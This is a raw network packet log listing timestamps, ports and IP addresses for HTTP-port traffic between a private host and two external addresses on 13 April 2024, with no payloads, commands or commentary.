Apr 13, 2024 20:21:09.075319052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075324059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075335026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075350046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075361013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075366974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075382948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075388908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075400114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075404882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075417042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075432062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075434923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075444937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075448990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075459957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075465918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075476885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075481892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075489998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075499058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075505972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075515985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075521946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075531960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075539112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075547934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075553894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075565100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075571060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075581074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075587034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075597048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075603008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075613976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075618982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075629950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075635910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075647116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075658083 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075663090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075674057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075680017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075692892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075695992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075710058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075714111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075722933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075730085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075737953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075747013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075757027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075762987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075769901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075784922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075789928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075802088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075812101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075819016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075835943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.075835943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075856924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.075884104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.246319056 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246382952 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246423960 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246463060 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246500969 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246540070 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246577024 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246620893 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246620893 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246620893 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246620893 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246620893 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246620893 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246622086 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246658087 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246695042 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246705055 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246705055 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246738911 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.246742010 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.246804953 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.302135944 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.425760031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.425827980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.425868034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.425905943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.425936937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.425936937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.425936937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.425945997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.425971031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.425985098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.425992966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.426022053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.426027060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.426062107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.426105022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.426116943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.426160097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.588423967 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588500023 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588537931 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588562965 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588562965 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588576078 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588613033 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588627100 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588646889 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588651896 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588677883 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588696957 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588705063 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588745117 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588757038 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588783026 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588819981 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588831902 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588852882 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588856936 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588869095 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588895082 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588934898 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588948011 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.588975906 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.588979959 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.589013100 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.589050055 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.589067936 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.589104891 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.589142084 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.589165926 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.589181900 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.589231014 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.589236975 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.589287043 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.646176100 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.646313906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.647702932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.771626949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771686077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771697044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.771728039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771744967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.771765947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771790981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.771802902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771819115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.771841049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771855116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.771877050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771887064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.771914959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771923065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.771955013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.771958113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.771991968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772017002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772031069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772037983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772069931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772073030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772106886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772110939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772144079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772145033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772181034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772182941 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772233009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772242069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772285938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772310019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772321939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772335052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772361040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772377014 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772397995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772413015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772435904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772444963 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772474051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772485971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772511959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772522926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772548914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772563934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772587061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772624969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772640944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772661924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772669077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772697926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772716999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772736073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772754908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772773027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772775888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772809982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772815943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772857904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772857904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772896051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772902966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772934914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772938967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.772973061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.772980928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773010969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773026943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773050070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773086071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773094893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773116112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773123026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773143053 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773161888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773169041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773202896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773224115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773241043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773252010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773277998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773283005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773314953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773320913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773351908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773364067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773389101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773396969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773427010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773463964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773471117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773502111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773511887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773539066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773549080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773576975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773587942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773613930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773616076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773650885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773653030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773686886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773689985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773725986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773727894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773762941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773766041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773801088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773804903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773837090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773844004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773874044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773880959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773911953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773919106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773950100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773964882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.773986101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.773998022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774024010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774034023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774060965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774063110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774097919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774102926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774133921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774139881 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774173021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774174929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774266005 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774274111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774303913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774311066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774342060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774353981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774380922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774404049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774418116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774420977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774454117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774457932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774492025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774497986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774528980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774563074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774566889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774599075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774604082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774619102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774642944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774658918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774679899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774698019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774719000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774724960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774759054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774770975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774796009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774806023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774833918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774847031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774871111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774883032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774909019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774924994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774945974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774966955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.774982929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.774986029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775022984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775058985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775063992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775095940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775099039 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775135040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775137901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775171995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775180101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775209904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775242090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775248051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775254011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775285006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775301933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775322914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775333881 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775360107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775382042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775397062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775403976 CEST	49739	80	192.168.2.4	193.233.132.167
